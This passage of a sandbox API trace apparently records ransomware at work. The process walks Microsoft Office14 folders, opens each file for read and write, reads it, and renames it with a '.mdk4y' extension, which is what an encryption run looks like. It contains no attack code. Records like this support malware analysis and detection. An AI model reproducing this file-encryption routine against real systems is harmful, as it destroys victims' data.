[0208.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.mdk4y")) returned 1 [0208.384] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.384] AreFileApisANSI () returned 1 [0208.384] GetACP () returned 0x4e4 [0208.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTAB32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CONTAB32.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0208.384] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0208.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828361500000) returned 1 [0208.385] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2cb78, lpOverlapped=0x0) returned 1 [0208.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828362900000) returned 1 [0208.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828362900000) returned 1 [0208.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.mdk4y")) returned 1 [0208.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.403] AreFileApisANSI () returned 1 [0208.403] GetACP () returned 0x4e4 [0208.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ContactPicker.dll", cchWideChar=17, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ContactPicker.dllce.xsd", lpUsedDefaultChar=0x37dfd8) returned 17 [0208.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0208.403] AreFileApisANSI () returned 1 [0208.403] GetACP () returned 0x4e4 [0208.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONVERT", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="CONVERTPicker.dll", lpUsedDefaultChar=0x37dfd8) returned 7 [0208.403] AreFileApisANSI () returned 1 [0208.403] GetACP () returned 0x4e4 [0208.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned 51 [0208.413] AreFileApisANSI () returned 1 [0208.413] GetACP () returned 0x4e4 [0208.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0208.413] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.413] AreFileApisANSI () returned 1 [0208.413] GetACP () returned 0x4e4 [0208.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0208.413] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.413] AreFileApisANSI () returned 1 [0208.413] GetACP () returned 0x4e4 [0208.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033\\", lpUsedDefaultChar=0x37df4c) returned 4 [0208.413] AreFileApisANSI () returned 1 [0208.413] GetACP () returned 0x4e4 [0208.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=56, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\툐i4") returned 56 [0208.415] AreFileApisANSI () returned 1 [0208.415] GetACP () returned 0x4e4 [0208.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0208.415] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.415] AreFileApisANSI () returned 1 [0208.415] GetACP () returned 0x4e4 [0208.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0208.415] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.415] AreFileApisANSI () returned 1 [0208.415] GetACP () returned 0x4e4 [0208.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACT3R.SAM", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACT3R.SAMotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 9 [0208.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828364600000) returned 1 [0208.417] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3388, lpOverlapped=0x0) returned 1 [0208.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828367900000) returned 1 [0208.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828367900000) returned 1 [0208.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.mdk4y")) returned 1 [0208.451] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.451] AreFileApisANSI () returned 1 [0208.451] GetACP () returned 0x4e4 [0208.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELIMR.FAE", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DELIMR.FAEtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 10 [0208.451] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828368200000) returned 1 [0208.452] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x27a0, lpOverlapped=0x0) returned 1 [0208.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828368500000) returned 1 [0208.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828368500000) returned 1 [0208.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.mdk4y")) returned 1 [0208.457] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.457] AreFileApisANSI () returned 1 [0208.457] GetACP () returned 0x4e4 [0208.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOCALDV.DLL", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LOCALDV.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 11 [0208.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828368800000) returned 1 [0208.458] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9180, lpOverlapped=0x0) returned 1 [0208.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828370600000) returned 1 [0208.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828370600000) returned 1 [0208.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll.mdk4y")) returned 1 [0208.478] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.478] AreFileApisANSI () returned 1 [0208.478] GetACP () returned 0x4e4 [0208.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ODBCR.SAM", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ODBCR.SAMLL", lpUsedDefaultChar=0x37dec0) returned 9 [0208.478] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828370900000) returned 1 [0208.479] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d90, lpOverlapped=0x0) returned 1 [0208.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828373800000) returned 1 [0208.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828373800000) returned 1 [0208.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.mdk4y")) returned 1 [0208.510] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.510] AreFileApisANSI () returned 1 [0208.510] GetACP () returned 0x4e4 [0208.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLADDR.FAE", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLADDR.FAEL", lpUsedDefaultChar=0x37dec0) returned 10 [0208.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828374100000) returned 1 [0208.511] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x35b0, lpOverlapped=0x0) returned 1 [0208.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828375600000) returned 1 [0208.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828375600000) returned 1 [0208.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.mdk4y")) returned 1 [0208.528] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.528] AreFileApisANSI () returned 1 [0208.528] GetACP () returned 0x4e4 [0208.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLAPPTR.FAE", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLAPPTR.FAE", lpUsedDefaultChar=0x37dec0) returned 11 [0208.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828375900000) returned 1 [0208.529] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2db8, lpOverlapped=0x0) returned 1 [0208.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828381600000) returned 1 [0208.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828381600000) returned 1 [0208.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.mdk4y")) returned 1 [0208.589] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.589] AreFileApisANSI () returned 1 [0208.589] GetACP () returned 0x4e4 [0208.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLJRNLR.FAE", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLJRNLR.FAE", lpUsedDefaultChar=0x37dec0) returned 11 [0208.589] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828382000000) returned 1 [0208.590] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x27b0, lpOverlapped=0x0) returned 1 [0208.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828385800000) returned 1 [0208.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828385800000) returned 1 [0208.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.mdk4y")) returned 1 [0208.630] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.630] AreFileApisANSI () returned 1 [0208.630] GetACP () returned 0x4e4 [0208.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLMAILR.FAE", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLMAILR.FAE", lpUsedDefaultChar=0x37dec0) returned 11 [0208.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828386100000) returned 1 [0208.631] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x27b0, lpOverlapped=0x0) returned 1 [0208.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828389300000) returned 1 [0208.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828389300000) returned 1 [0208.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.mdk4y")) returned 1 [0208.665] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.665] AreFileApisANSI () returned 1 [0208.665] GetACP () returned 0x4e4 [0208.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLNOTER.FAE", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLNOTER.FAE", lpUsedDefaultChar=0x37dec0) returned 11 [0208.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828389600000) returned 1 [0208.666] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x25b0, lpOverlapped=0x0) returned 1 [0208.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828391600000) returned 1 [0208.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828391600000) returned 1 [0208.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.mdk4y")) returned 1 [0208.688] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.688] AreFileApisANSI () returned 1 [0208.688] GetACP () returned 0x4e4 [0208.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLR.SAM", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLR.SAM.FAE", lpUsedDefaultChar=0x37dec0) returned 7 [0208.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828391900000) returned 1 [0208.689] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d90, lpOverlapped=0x0) returned 1 [0208.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828392000000) returned 1 [0208.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828392000000) returned 1 [0208.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.mdk4y")) returned 1 [0208.692] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.692] AreFileApisANSI () returned 1 [0208.692] GetACP () returned 0x4e4 [0208.692] WideCharToMultiByte (in: CodePage=0x4e4, 